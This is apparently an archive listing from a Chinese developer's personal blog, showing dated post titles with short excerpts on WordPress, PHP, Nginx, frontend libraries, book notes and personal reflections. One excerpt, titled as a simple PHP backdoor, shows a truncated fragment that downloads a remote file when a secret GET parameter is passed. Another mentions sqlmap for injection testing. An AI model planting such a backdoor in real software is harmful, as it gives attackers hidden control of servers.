-
2022-02-22WordPress主题开发,从入门到精通。相关文档:https://www.wpzhiku.com/document/wordpress-plugin-basics/ 全局变量:https://codex.wordpress.org/zh-cn:%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8Fhttps://codex.wordpress.org/Global_Variables wp_query查询内容:http
-
2022-06-13WordPress免费主题:Document,让阅读变得更加方便😁作为一个程序员,在日常的工作、生活、学习的过程中基本都有很多需要做笔记的地方;做笔记的主要目的之一是为了“温故而知新”,另一个则是为了在下一次遇到的时候,不需要再次耗费精力去找解决方法; 回顾自己之前写的那个主题,不管是写还是查都不怎么方便,最终下定决心重写一个主题;以 “方便记、方便查、简约”作为设计核心; Github:https://github.com/friend-nicen/them
-
2022-10-31WordPress图片本地化插件,WordPress如何实现远程图片自动本地化?nicen-localize-image(Wordpress后台搜索安装插件),是一款用于本地化文章外部图片的插件,支持如下功能: 文章发布前通过编辑器插件本地化 文章手动发布时自动本地化 文章定时发布时自动本地化 针对已发布的文章批量本地化。 Github:https://github.com/friend-nicen/nicen-localize-image Gitee:https://git
-
2022-08-20如何快速地将WordPress文章内所有外部图片转换为本地链接?nicen-localize-image(Wordpress后台搜索安装插件),是一款用于本地化文章外部图片的插件,支持如下功能: 文章发布前通过编辑器插件本地化 文章手动发布时自动本地化 文章定时发布时自动本地化 针对已发布的文章批量本地化。 Github:https://github.com/friend-nicen/nicen-localize-image Gitee:https://git
-
2021-09-14POST 提交数据的时候参数有哪些类型?1. HTTP 协议是以 ASCII 码 传输,建立在 TCP/IP 协议之上的应用层规范。规范把 HTTP 请求分为三个部分:状态行、请求头、消息主体。 2. 协议规定 POST 提交的数据必须放在消息主体(entity-body)中,但协议并没有规定数据必须 使用什么编码方式 。实际上,开发者完全可以自己决定消息主体的格式,只要最后发送的 HTTP 请求满足上面的格式就可以。 3. 数据发送出
-
2022-05-11日常总结、灵感记录、学习要点。持续记录学海无涯,再好的记性也比不过烂笔头,记录一下学习日常、灵感、要点。 NLP大全:https://github.com/fighting41love/funNLP Hono.js:https://hono.dev/docs 短链生成策略:https://pro.leanote.com/p/5f706e3d7dc3f97345b9f98f 柔造:https://rouzao.com/home 弱小和无
-
2022-01-04Scss学习笔记,持续记录相关文档:https://www.sass.hk/docs/ 下载Ruby:https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.1.0-1/rubyinstaller-3.1.0-1-x64.exe gem sources --add https://gems.ruby-china.com/ --
-
2024-01-18关于企业经营的一些学习笔记报税、年报这些一直没搞太明白,趁有时间把它搞明白。 公司年度检验是指工商行政管理机关依法按年度对公司进行检查,确认公司继续经营资格的法定制度。凡领取《中华人民共和国公司法人营业执照》、《中华人民共和国营业执照》、《公司法人营业执照》、《营业执照》的有限责任公司、股份有限公司、非公司公司法人和其他经营单位,均须参加年检。当年设立登记的公司,自下一年起参加年检。 国家企业信息公示系统:https://
-
2024-11-17如何测试接口是否存在SQL注入的漏洞?Sqlmap使用记录PHP没写好,就很容易出现SQL注入的BUG,老司机也难免有翻车的时候,我也不例外。 于是在网上搜索许久,找到一款非常实用的测试工具:Sqlmap Github:https://github.com/sqlmapproject/sqlmap Sqlmap是一个非常流行的开源工具,用于自动化SQL注入测试。它支持多种数据库管理系统,并提供了大量的选项来自定义测试过程。 Sqlmap基于Python开
-
2024-07-10Python基础知识,Python大模型学习笔记安装Python: # 下载源文件 wget https://www.python.org/ftp/python/3.12.6/Python-3.12.6.tgz # 解压 tar -zxvf Python-3.12.6.tgz cd Python-3.12.6 # 编译 ./configure --prefix=/root/training/Python-3.6.5 make make inst
-
2023-05-30Easyswoole学习笔记,快速上手EasySwoole 是一款基于Swoole Server 开发的常驻内存型的分布式PHP框架,专为API而生,摆脱传统PHP运行模式在进程唤起和文件加载上带来的性能损失。EasySwoole 高度封装了 Swoole Server 而依旧维持 Swoole Server 原有特性,支持同时混合监听HTTP、自定义TCP、UDP协议,让开发者以最低的学习成本和精力编写出多进程,可异步,高可用的应用
-
2024-11-15Three.js 基础知识,Three.js 学习笔记Three.js 相关教程:http://www.webgl3d.cn/ Three.js 是一个基于 WebGL 的 JavaScript 库,它允许你在浏览器中创建和显示3D图形。 在Three.js中通常涉及以下几个基本组件: 场景(Scene):场景是所有对象、灯光和相机的容器。它是3D世界中所有可见元素的集合。 相机(Camera):相机定义了观察场景的视角。Three.js中最常用的相
-
2022-10-29前端canvas基础复习,canvas学习笔记最开始学html5的时候,曾特意了解过canvas,还记得当时为了搞明白canvas的api,绞尽脑汁了很多个日日夜夜。 但实际工作后用的非常少,到现在canvas的api忘的也差不多了。目前打算好好学一下canvas,尝试一下更多的可能性。 一些资料的收集: Canvas相关的框架的使用,小程序有自带的Canvas框架,还有Egret 、Phaser等;可视化数据的相关框架有:echarts、h
-
2021-09-26linux常用命令、bash语法学习笔记,持续记录linux命令存储以下位置: /bin(指向/usr/bin)目录,包含基本的用户命令,默认全体用户都可使用,例如curl,ls命令 /sbin(指向/usr/sbin),/usr/local/sbin,存放需要root权限的命令以及工具,默认root用户使用,例如ip,halt命令 /usr/local/bin 给用户放置自己的可执行程序的地方,不会被系统升级覆盖 /usr/local/sbin
-
2024-09-01收集一些好看的网站、APP、小程序搞开发的时候一直觉得UI挺难的,有时候自己想不出该搞成什么样,就习惯找一些现成的产品参考一下。 按照行业类型划分,已收集:官网、后台、工具.... 六台阶(CRM):https://www.mysubmail.com/onepass 销售易(CRM):https://www.xiaoshouyi.com/ 众安保险:https://www.zhongan.com/ Vue-Nicen-Admin:
-
2022-06-13密码保护:上班手册,记录每天的工作日常。这是一篇受保护的文章,输入密码后才能查看哈无法提供摘要。这是一篇受保护的文章。
-
2024-03-29读《好的童年是一生的心理资本:如何疗愈我们内在的伤》,相关笔记,持续记录• 安全感是指「力比多」和「攻击性」 都可以向客体投注,且能够得到客体的好回应。「力比多投注后能够得到客体的好回应」,通俗的解释是,当你表示希望跟某个人亲近的时候,如果对方愿意跟你亲近,你就会有安全感。 • 「攻击性投注后得到客体的好回应」则是指,当你表达出对某个人的不满或想与之疏远时,对方会愿意为了你而改变自己或满足你对关系距离的需求,这样你也会有安全感。 • 她希望男朋友主动关心自己,
-
2024-11-12一款简洁好用的微信文件收集小程序(前端演示代码)文件收集是一件很麻烦的事,相信在座的各位很多人都是这样认为的,邮箱收集步骤繁琐,微信收集不好管理,不只这样,还有交错的、没交的、交晚的……好不容易收到手了,发现还得自己整理一遍,总之收集作业、文件,通通都是麻烦事。 但是没法,谁叫咱们接到这个任务了呢!既然要干,咱就得把活干的漂漂亮亮的,干完了还得游刃有余!那到底有什么好办法呢?文件收集小工具来助你一臂之力! 您可以扫码上方小程序码或者直接点击(如
-
2023-10-21WordPress如何解决保存文章后反斜杠丢失的问题?WordPress保存文章时,文章内包含的反斜杠会被当做转义符,导致保存后丢失反斜杠。 这个问题发现很久了,比如文章内包含PHP代码,又恰好代码使用了命名空间时,原代码: <?php use Swoole\Server; 会变成下面这样: <?php use SwooleServer; 产生的影响也不小,只好研究研究如何解决这个问题。 通过对保存的环节进行分析,确定是在保存到数据库之前
-
2024-10-14WordPress用户行为回放插件,精准捕捉用户行为的每一步在数字营销的世界里,了解用户行为是提升用户体验和转化率的关键。nicen-replay 插件,它能够让您轻松回放用户在网站上的每一步操作,从点击到滚动,再到表单填写,每一个细节都清晰可见。 nicen-replay,是一款可以监控并回放用户行为的插件,支持如下功能: 数据收集:在不影响站点速度的情况下,收集用户在站点上的操作, 实时回放:插件后台可以回放用户的所有行为,通过视频的方式来帮助你分析用
-
2024-09-06DIY.JS 开发文档, 一款专用于DIY定制的Canvas图形库DIY.JS是一款专用于DIY定制的Canvas图形库,兼容h5、微信小程序、抖音小程序、淘宝小程序 DIY的可操作区域由两部分组成(两个层叠的Canvas对象): 背景图层:用于物品模型绘制,比如衣服、手机壳 DIY图层:用于素材绘制,以及定义对应物品的可DIY区域 DIY区域指的是在指定物品上,用户可以进行个性化定制的区域。 DIY区域由Canvas的destination-in的混合模式进行
-
2024-07-08一款可以DIY衣服、手机壳、抱枕等任意二维图像的Web程序之前写过一个DIY手机壳的小程序:https://nicen.cn/5618.html 上线了一段时间之后,发现有类似需求的人还不少,所以想着在空闲的时候做了一个升级版 相较于小程序版本,这一版功能更多、更完善,选择web端也是考虑到它对各种业务场景的兼容更强,开发也更方便。 以下是几个配置好的支持DIY的物品: T恤:https://douyin.nicen.cn/m.html?project=
-
2022-05-12Node.js 初入门?持续记录教程:https://www.runoob.com/nodejs/nodejs-tutorial.html 事件循环:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/EventLoop 版本列表:https://nodejs.org/dist/,下载并解压: xz -d node-v17.2.0-linux-x64.tar.xz ta
-
2017-01-06突然就想记录一下。持续记录(评论篇)2017-1-6 1.真的不懂现在的人怎么教育的,思想怎么会改变的那么快,传统节日都不理睬,偏偏爱外国节日。唉世道变了以后会不会过年都不过了啊。 2.现在越来越没有年味了,现在反而西方节日充满浓烈气息,我心里一直都坚定着就算丢掉工作我也要回家过年!原因无他,因为我想家了。。。。。 2017-1-14 1.即使想放弃,也没法放弃最想要的东西,这就是人 2.不会停的雨的确存在,但是撑起伞来就行了,接下
-
2016-12-24彻底解决wordpress安装主题或插件需要FTP问题使用FTP或者SFTP软件(推荐xftp5)连接网站文件目录,进入wp-content目录,新建tmp文件夹,设置文件夹的权限为777 下载:在FTP中打开网站根目录,找到wp-config.php这个PHP文件,下载到本地 修改:在wp-config.php中添加下列代码: /* WordPress的临时目录。*/ define('WP_TEMP_DIR', ABSPATH.'wp-conten
-
2017-01-01不知不觉到了2017年了。心里总是想时间还有很多,某天突然感慨一下,发现自己其实已经xx(此处评论即可查看/手动滑稽)岁了。 在外面浪回来睡一觉就已经是2017年了 去年一年总想弄一些让自己有成就感的事,现在回想其实是一事无成,突然就有点迷茫了 回顾去年: 想起来就是浑浑噩噩的感觉,很多东西都是接触了一下,懂了一点就没有然后了。 今年目标: 主要目标就是完成剩下的学业了。小目标就随心了(想到什么就做什么) 然后就是今年准备
-
2016-12-21Mysql学习笔记,持续记录在使用CentOS系统中,也许你会对很多的东西进行设置密码,来保护你的电脑的安全问题等,那么,如过一个不小心把密码忘记了,也许会给你的工作带来很多的不便。下面我们就来帮大家解决一个关于CentOS系统中mysql登录密码的问题。 CentOS系统中那么忘记了mysql的登录密码,怎么办?使用安全模式吧. 首先需要在CentOS系统中停止mysql: $ service mysqld stop #停
-
2021-07-22一段简单的PHP后门代码,什么都能干这是最简单的、也是最容易发现的一种实现了,PHP后门种类繁多,真是防不胜防。 if($_GET=="ok"){ echo 'OK'; function downFile($url,$path){ $arr=parse_url($url); $fileName=basename($arr); $file=file_get_contents($url); } downFil
-
2021-07-18实战记录—PHP使用curl出错时输出错误信息踩过的坑,实在不想再踩了,记录记录。 curl_exec($ch);//执行curl if (curl_errno($ch)) { echo 'Curl error: ' . curl_error($ch);//出错输出错误 } curl_close($ch);//关闭curl 同理,像正则,Json,数据库这些出错时基本都会有提供有帮助的错误信息 CURL状态码列表 状态码 状态原因 解释 0
-
2021-07-20编程日记:PHP实用函数记录sleep(sec) 函数延迟执行当前脚本若干秒。 usleep(micro) — 以指定的微秒数延迟执行。 time_nanosleep(sec,na) — 延缓执行若干秒和纳秒。 time_sleep_until(timestamp) — 使脚本睡眠到指定的时间为止。 set_time_limit(int $seconds) — 设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个
-
2021-06-27【PDF分享】CSS实战手册(入门推荐).pdfCSS实战手册(第四版)使用 CSS 能创建专业的网站,不过即使是有经验的 Web 设计师,也很难学会 CSS 的各种细节。在前几版的基础上做了全面升级,提供了最新、最有用的提示和技巧,而且通过教程说明现今可用的 CSS。会教你如何使用新工具(如弹性盒和 Sass)构建外观精美的网页,而且在任何桌面设备或移动设备中都能快速运行。适合业余和有经验的设计师等阅读。 从基础知识入手。编写对 CSS 友好
-
2021-07-15完美解决PHP使用curl返回空白这个问题遇到好几次了,自己不长记性一直没记住,每次遇到了才想起来。 curl一切正常,就是返回数据时什么都没有,空白,解决思路: 检查是否是数据源的问题,使用HTTP工具请求一次,对方正常,我这也没被禁止访问。 那就是SSL的问题了,如下 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//禁止 cURL 验证对等证书 curl_setopt
-
2021-07-17mirai QQ机器人学习笔记,持续记录php:// — 访问各个输入/输出流(I/O streams) php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。 数据流引用了复制的文件描述符,所以如果你打开 php://stdin 并在之后关了它, 仅是关闭了复制品,真正被引用的 STDIN 并不受影响。 推荐你简单使用常量 STDIN、 STDOUT 和 STD
-
2021-06-09日常生活,记录社交过程中的一些思考点用欣赏代替喜欢,过于强调自己的喜欢就是强迫女生表态 男生大多是直线思维,女人更加注重的是当下的感受 女人是害怕承担责任的,你自己要有主见。 越是得不到的才越让人珍惜,最重要的就是要产生共情 关心一个人需要关心和她有关的所有人 不要太过于直接,会让人没有安全感 我们有时候都太专注于结果,反而忽略了恋爱这件事,最基本的不就是两个人在一起开心吗? 当你觉得和女生相处时,总是怕自己表现不好的时候,换种想法
-
2021-06-18事在人为,路就在自己脚下。生活中有很多事情只能自己一个人承受,一个人才是常态。没什么事情是一蹴而就的,慢慢来不代表停留在原地,相信在往后的几年一定会收获到你渴望的那些东西! 静下心来想想,生活里除了忙碌还有很多需要关注的事情:我们珍惜的人,他们的生日是不是快到了?他们喜欢吃什么?喜欢做什么?他们的现在过得怎么样?他们的想法?有没有好好的沟通过?你为他们做了什么?你是否尽到了你的责任?你有没有关心他们?等等很多事情都值得去思
-
2021-06-13Git从入门到精通,Git命令大全Git说明:https://www.runoob.com/manual/git-guide/ 腾讯Github:https://github.com/Tencent 阿里巴巴Github:https://github.com/alibaba Git镜像:https://www.gitclone.com/、https://ghproxy.com/ 资料来源:https://www.runoob.co
-
2019-06-27【PDF分享】阮一峰 ES6标准入门 第3版 .pdfES6是下一代JavaScript语言标准的统称,每年6月发布一次修订版,迄今为止已经发布了3个版本,分别是ES2015、ES2016、ES2017。《ES6标准入门(第3版)》根据ES2017标准,详尽介绍了所有新增的语法,对基本概念、设计目的和用法进行了清晰的讲解,给出了大量简单易懂的示例。 《ES6标准入门(第3版)》为中级难度,适合那些已经对JavaScript语言有一定了解的读者,可以作
-
2019-01-16Thinkphp6学习笔记,持续记录由此开始:https://www.kancloud.cn/manual/thinkphp6_0/1037479 目录结构:https://www.kancloud.cn/manual/thinkphp6_0/1037483 伪静态设置:https://www.kancloud.cn/manual/thinkphp6_0/1037488 Thinkphp网址导航:http://sites.think
-
2021-06-05日常总结,记录一些生理常识。持续记录1.痛经可以吃止疼药,缓解疼痛。 2.处女膜是有孔的,第一次不一定会流血 3.月经是伴随卵巢周期性排卵,子宫内膜周期性增生增厚,脱落坏死并伴随出血的过程。正常的大姨妈周期为24-35天左右(之间,因人而异),每次7天左右,不用执着于天数的精确性,有些人间隔时间长一点,有些人间隔时间短一点,只要每次间隔的时间是差不多的就是正常的。 女性的生理周期主要分为四个时期:月经期、滤泡期(排卵期前1周)、黄体
-
2018-01-11又是一年,又是两年,又是三年。2017年结束了,2018开始了。 “时不我待,只争朝夕。宁静致远,厚德载物。” 时间是个很神奇的“事物”,有时候让人觉得很长,有时候让人觉得很短。 时间。时间是把刀,它“杀人”。时间是药,让人忘记、让人麻木。时间是“病”,它让人控制不住自己的内心。 时间,它是万能的......... 2018年,我,正式步入社会了。 本来在月初的时候就准备写这篇文章了,然后就一直拖拖到了现在。仔细一想其实并不是
-
2018-06-27【PDF分享】阮一峰 JavaScript 中文教程 .pdf《JavaScript 中文教程》主要介绍 JavaScript 核心语法和浏览器网页开发的基本知识,不涉及 Node。全书可以分成以 下四大部分。 1、基本语法 2、标准库 3、浏览器API 4、DOM 本教程全面介绍 JavaScript 核心语法,覆盖了 ES5 和 DOM 规范的所有内容。 内容上从最简单的讲起,循序渐进、由浅入深,力求清晰易懂。所有章节都带有大量的代码实例,便于理解和模仿
-
2017-07-16泡芙小姐,泡芙小姐,泡芙小姐第一季第1集《泡芙小姐的沙漏》许多真实的谎言都是假装欢乐,许多谎言的真实都是无可奈何。愚人节,给说谎的人,一个说真话的机会。 第2集《泡芙小姐的遥控器》如果有一天,我变成了你随便遥控的节目,我不再是我,而是你塑造的影子。我们的生活终究是两个不同的节目,你习惯用遥控器控制,我愿意用遥控器选择。泡芙小姐的遥控器,选一个节目当自己的节目。 第3集《泡芙小姐的绿萝》向死而生,是对生命的一种拯救;向生而生,
-
2017-03-19PHP-FPM性能优化配置方法参考pm、pm.max_children、pm.start_servers、pm.min_spare_servers、pm.max_spare_servers。 pm:表示使用那种方式,有两个值可以选择,就是static(静态)或者dynamic(动态)。 在更老一些的版本中,dynamic被称作apache-like。这个要注意看配置文件的说明。 下面5个参数的意思分别为: pm = dynamic
-
2017-07-09突然就想记录一下,持续记录(社交技巧篇)01. 话别说太满,人别熟太快。 02. 别人自嘲可以,但你千万别附和。 03. 不要把别人想的太坏,也不要把别人想的太好都是凡人。 04. 可以嘲笑你的朋友,但不能嘲笑他喜欢的东西。 05. 把每一句“我不会”都改为“我可以学”。 06. 刚开始和对方不熟悉的时候,聊到晚上十点多对方发来消息就别回复了,第二天早晨再回复,这样又可以聊一天。 07. 把“随便”改成“听你的”。 08. 别人骂你你要
-
2022-06-21Nginx学习笔记,持续记录使用过程中发现很多新问题,在这里记录一下; nginx events 模块主要是nginx 和用户交互网络连接优化的配置内容 accept_mutex,这个配置主要可以用来解决常说的"惊群"问题。大致意思是在某一个时刻,客户端发来一个请求连接,Nginx后台是以多进程的工作模式,也就是说有多个worker进程会被同时唤醒,但是最终只会有一个进程可以获取到连接,如果每次唤醒的进程数目太多,就会影响N
-
2024-04-22密码保护:工作记录,移动APP开发过程中的一些关键点这是一篇受保护的文章,输入密码后才能查看哈无法提供摘要。这是一篇受保护的文章。
-
2021-09-26记录一下自己用过的各种语言的软件包。Querylist爬虫框架:https://www.querylist.cc/docs/guide/v4/overview 获取各大音乐平台音乐的外链:https://github.com/metowolf/Meting 简单的PHP验证码库:https://github.com/lifei6671/php-captcha PHP Requests库:https://requests.ryanmc
-
2023-06-18一款用于网易云音乐每日自动签到,自动刷听歌量的小程序基于项目:https://github.com/Binaryify/NeteaseCloudMusicApi 后台 小程序 功能页 每日自动签到 每日云贝签到 每日自动听歌300首
-
2023-07-01读《魔鬼聊天术(新版)》,相关笔记• 搭讪这个行为看似是男性主动,但实际上更加符合女性利益,因为女性择偶更看重对方的整体感觉,只有当面接触才能够对交往对象作出准确判断,所以 只要女人有足够的选择权,其实她们是愿意多被搭讪的。 从这个角度我们也可以认为, 死缠烂打、胡搅蛮缠恰好是对搭讪这种社交方式最大的破坏。 • 如果你克服了当面被拒的深层恐惧,再结合现代文明的海量异性资源,那么搭讪其实是最适合寻找长期关系的交友方式。 • 间接开场
-
2023-07-04读《买个好房子》,相关笔记• 房价暴跌,总是和经济危机携手而来;经济危机,又总是导致大量的失业。所以现在摆在年轻人面前的问题,就是如果发生了经济危机,能不能生存下去。如果不能,身上背的按揭贷款就把你压死了;如果可以,那么就能熬下去。 • 有个长辈朋友在全国云游考察,最终选在云南西双版纳、吉林长白山各买一套房子:夏天去长白山,冬天去西双版纳。 • 选房的时候大家都关心的几个要素:位置、交通、单价、面积、户型。这些都是最基础的
-
2023-07-25Pc软件开发,aardio学习笔记aardio 是一种易用性极强的动态语言,aardio官网:https://aardio.com/ 使用 namespace 关键字定义名字空间。如果一个不存在的变量首次被赋值(var语句声明的局部变量除外),则会自动加入到当前名字空间。 名字空间也可以省略语句块标记,表示名字空间作用域直至该代码文件结束。 名字空间其实也是一个普通的table对象。访问非当前名字空间的成员变量,可以加上有效的名字
-
2023-11-06钉钉企业内部应用开发,相关笔记钉钉官方开发平台:https://open.dingtalk.com/ 企业内部应用开发:https://open.dingtalk.com/document/orgapp/learning-map 相关文档:https://open.dingtalk.com/document/orgapp/application-types 相关文档:https://open.dingtalk.com/docu
-
2024-01-29读《没关系,我们都有点怪》,相关笔记• 「改变建立在全然的自我接纳之上」 • 要实现真正的转变,最重要的是要看到并接受自己原本的样子,勇敢地面对内心的声音。恐惧也好,焦虑也罢,当面对铺天盖地的精神压力和情绪问题时,放下自我批判,接纳发生的一切,安抚好自己。 • 「积极拖延法」:不回避问题,用迂回的方式解决问题。比如,现在拖着不想完成的大任务是写论文,他会去回复邮件、交水电费、洗碗、跑步,和写论文比起来,这些事儿变得可爱起来,成了减压
-
2024-03-09记录一些拍照很好看的动作以及拍照技巧手机拍照的专业模式一般提供了多种参数供用户自定义,以下介绍这些参数的作用和一些拍摄技巧。 快门速度(Shutter Speed),在小米相机专业模式内的图标是 “S”; 快门速度决定了照片中移动物体的清晰度,快门速度越快,移动物体就越不容易出现模糊。拍摄快速运动的物体时,可以使用快门速度较快的设置,例如1/1000秒或更快。而在低光环境中拍摄时,可以使用较慢的快门速度,例如1/30秒或更慢,这样可
-
2024-09-23Nginx日志分析工具GoAccess,有没有好用的Nginx日志分析工具?官方地址: https://goaccess.io GoAccess 是一款开源的实时 Web 日志分析工具,支持Nginx等多种日志格式,支持分析并导出HTML 直接通过yum安装: # 安装依赖库 yum install -y GeoIP-devel ncurses-devel # 安装GoAccess yum install goaccess 修改配置文件,一般在/etc/goaccess
-
2024-07-02Fabric.js 学习笔记,快速上手Fabric.js官网:http://fabricjs.com/ Fabric.js自定义构建:http://fabricjs.com/build/ Fabric.js 是一个强大的、灵活的 HTML5 画布库。 在 Fabric.js 中,preserveObjectStacking 属性是一个布尔值,用于控制当对象被修改(例如移动、旋转、缩放等)时,它们在堆栈中的位置是否保持不变。 设置 pr
-
2024-07-06如何在Vue中实现单个组件的动态重新加载?单个组件动态重新加载,指的是让某个已经渲染的组件,自动销毁然后开始一个新的生命周期。 大部分情况下,一个需求会很多种实现方法,而接下来要说明的方法,也是众多解决方法之一。 到目前为止,遇到过两个需要实现这种功能的需求: 1. 后台管理系统中,对页面的功能区域(导航栏、侧边栏之外的区域)进行局部刷新 简单一点的功能页面,或许只需要重新加载接口,触发一下数据更新就够了,但是某些复杂的页面通过更新数据来
-
2024-07-07记录一次CDN被恶意刷流量,导致账户欠费停服的事件大半夜被腾讯云的告警电话闹醒了,看了一下邮件,账户欠费停服。 收到邮件和电话提示欠费: 登录腾讯云一看,CDN扣费导致账户欠费5块多,上次买的200G流量包也用光了。 然后看了一下访问统计,人麻了,不知道哪个无聊的家伙恶意刷了100多G。 一张图片下载了20多万次,这又是何必呢..... 现在是每天固定7点左右都会刷,换着IP来,防不胜防哦 现在是直接把整个IP段屏蔽了,再继续观察 扫码充钱,问题
-
2022-10-25密码保护:工作笔记,记录开发过程中一些零碎的东西这是一篇受保护的文章,输入密码后才能查看哈无法提供摘要。这是一篇受保护的文章。
-
2021-09-20Layui学习笔记,一起加油!Layui(谐音:类 UI) 是一套开源的 Web UI 解决方案,采用自身经典的模块化规范,并遵循原生 HTML/CSS/JS 的开发方式,极易上手,拿来即用。 全局对象 layui,一切从它开始。 建立模块入口,并通过 layui.use() 方式来加载该入口文件,加载指定目录下的index.js文件内的模块。 <script> layui.config({ base: '/res
-
2022-08-20密码保护:记录自己服务器重启之后,需要重启的服务这是一篇受保护的文章,输入密码后才能查看哈无法提供摘要。这是一篇受保护的文章。
-
2022-04-13PHP Swoole学习笔记,持续记录PHPStorm Swoole代码提示:https://plugins.jetbrains.com/plugin/13040-swoole-ide-helper/versions PHP swoole代码提示,类型包:https://github.com/swoole/ide-helper 匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有
-
2022-11-07Canvas学习笔记,记录使用过程中遇到的一些问题fill(),方法用于填充已有的闭合路径,假设有一个如下图的路径,默认情况下圆和方形都会被填充,最后的效果就是一个黑色的方形; 通过fillRule参数,可以指定填充的算法,决定点是在路径内还是在路径外。 允许的值: "nonzero": 非零环绕规则,默认的规则。 "evenodd": 奇偶环绕规则。 将填充规则设置为evenodd,绘制的结果会变为下面这样,通过这种方式可以实现反向裁剪。 通过
-
2021-09-24PHP编程遇到过的细节问题(总结)习惯本地开发调试了,忘记了127.0.0.1只能是本地,监听所有IP要监听 0.0.0.0。 use语句只在它所声明的物理文件内有效,use定义别名之后,无法使用之前的名字。 use,给命名空间定义一个别名,用于简化复杂的命名空间调用。use abc as d,调用d下面的类、函数、常量等成员时 dson(); use,从命名空间引入类,引入后可直接使用,不需要前缀(引入时可以定义别名)。use
-
2022-06-19PostCss学习笔记,持续记录CSS 的隔离主要有两类方案,一类是运行时的通过命名区分,一类是编译时的自动转换 CSS,添加上模块唯一标识。 运行时的方案最典型的就是 BEM,它是通过 .block__element–modifier 这种命名规范来实现的样式隔离,不同的组件有不同的 blockName,只要按照这个规范来写 CSS,是能保证样式不冲突的。 但是这种方案毕竟不是强制的,还是有样式冲突的隐患。 编译时的方案有两种
-
2024-02-27读《一本书学纳税:新手学纳税从入门到精通》,相关笔记• 税收是国家为满足社会公共需要,凭借公共权力,按照法律所规定的标准和程序,参与国民收入分配,强制地、无偿地取得财政收入的一种特定分配方式。 • 企业所得税是指对中华人民共和国境内的企业(居民企业及非居民企业)和其他取得收入的组织以其生产经营所得为课税对象所征收的一种所得税。 • 企业所得税的基本税率是 25%。 • 小型微利企业是指从事国家非限制和禁止行业,且同时符合以下三个条件的企业。(1)年
-
2023-06-14一款基于UNIAPP开发的手机壳DIY小程序(前端示例代码)一款基于UNIAPP开发的手机壳DIY小程序(前端示例代码),兼容抖音和微信小程序,在线案例: Github:https://github.com/friend-nicen/DIY Gitee:https://gitee.com/friend-nicen/DIY 下载HBuilderX,导入项目 修改中的为你的小程序的 安装依赖 "" 运行到微信或抖音小程序(无后端代码,需要模拟接口) ├─.hb
-
2023-05-30《数据库原理》学习笔记,Mysql join到底该不该用?Mysql外键到底该不该用?Mysql分库分表相关知识点。关系模型把数据表示为关系的集合,数据结构用单一的二维表结构来表示实体以及实体之间的联系 关系,一个关系对应一个二维表,二维表名就是关系名。二维表可以是原数据表,也可以是运算产生的表。关系由关系模式(表头)和关系实例(表数据)组成; 属性,二维表中的列,列值称为属性值,属性的个数称为关系的元或度 值域,属性值的取值范围称为值域 元组,二维表中的行,关系的一个实例 分量,元组中的一个属性值 码或键,唯
-
2022-03-04Uniapp、Html5plus、Native.js开发记录获取应用主Activity实例对象,什么是Activity (活动)? Android的四大组件之一的Activity(活动):Activity是一个应用程序的组件,他在屏幕上提供了一个区域,允许用户在上面做一些交互性的操作, 比如打电话,照相,发送邮件,或者显示一个地图!Activity可以理解成一个绘制用户界面的窗口, 而这个窗口可以填满整个屏幕,也可能比屏幕小或者浮动在其他窗口的上方! 作用
-
2022-12-31PHP ImageMagick扩展有哪些函数?PHP ImageMagick扩展的使用方法ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。 官方网站:https://imagemagick.org/index.php PHP相关文档:https://www.php.net/manual/zh/book.imagick.php 相关
-
2023-08-30PHPDoc、JSDoc、Vue JSDoc相关的语法PHPDoc 是一种注释规范,用于为 PHP 代码提供文档。 @param参数类型 $参数名称 参数说明 - 用于指定一个函数或方法的参数类型、名称和说明。 /** * 计算两个数的和 * @param int $a 第一个数字 * @param int $b 第二个数字 * @return int 两数之和 */ function add($a, $b){ return $a + $b; } @
-
2023-04-14读《鹤老师说经济:揭开财富自由的底层逻辑》,相关笔记• 真正的知识,是框架,是把杂乱的无机物组成有机物,是简单的单细胞构成高级生命体,是把零碎的信息组成体系,构成自己的世界观、人生观、价值观。 • 有太多的人,他们把信息当知识,把数字当成就,把阅读当思考,把存储当掌握。 • 大家都没有三头六臂,都是碳基生物,都只有 24 小时,肉体的差异很小。唯一能拉开层级的,只有选择。 • 人生最没有价值的,是正确而无用的废话。 • 所谓「财务自由」,并不是一个
-
2022-10-23打算继续学英语,加油! English学习笔记从学校彻底毕业后的某段时间,我才第一次沉下心来认认真真的学习英语。 在学校的时候,因为学的不认真,英语很差,一直搞不懂什么是词性、搞不清什么是句式,词汇量也特别少。那会天真烂漫,没有经历过社会的捶打,也觉得无所谓,像极了被赶着过河的羊群。 静下心来思考一番,过去已成定局,未来仍然可期,现在能做自己喜欢的事情,也是一件幸福的事。 仔细算算距离上一次认真的学习英语,也过去了很久。现在的水平能大概的看懂
-
2023-02-08记录一些自己主动意识到的问题、灵感很多突然意识到的东西,往往是很有用的,但是日常过程中很多事后都忘了。 临到见女朋友之前,才意识到自己要准备礼物,好在时间上还来得及,买了礼物。去见面之前,才发现忘记买花,礼物也没带在身上。 意识到了女朋友情绪有点不对劲,却没有立马去补救,反而陷入了自己的情绪内耗。 发生矛盾了,才发现自己很长时间没给予女朋友足够的关心了。 这天突然想到要给姐姐、妈妈发节日快乐,事后想了一下,其实还可以发一个18的红
-
2023-04-14读《什么样的爱值得勇敢一次》,相关笔记• 在这个充满不确定性的时代,爱情的真正目的是让你踏上寻找真正自己的旅程,然后通过碰撞,不断形塑自己,与他人建立联结,然后打开你的世界,打开你对生活的想象,体验有趣的人生。 • 第一,爱情是发现自我和找到自我价值的过程。 • 第二,爱情让我们与他人建立联结,激发了我们对生活的热情。 • 第三,爱使性欲望升华。 • 人是一种社会动物,很需要爱与被爱,身体接触是亲密关系最基本的交流方式,我们需要触摸。
-
2023-05-15安卓(android)开发从入门到精通,学习笔记开发者指南:https://developer.android.google.cn/guide API文档:https://developer.android.google.cn/reference/packages 每个 Android 应用都处于各自的安全沙盒中,并受以下 Android 安全功能的保护: Android 操作系统是一种多用户 Linux 系统,其中的每个应用都是一个不同的用户
-
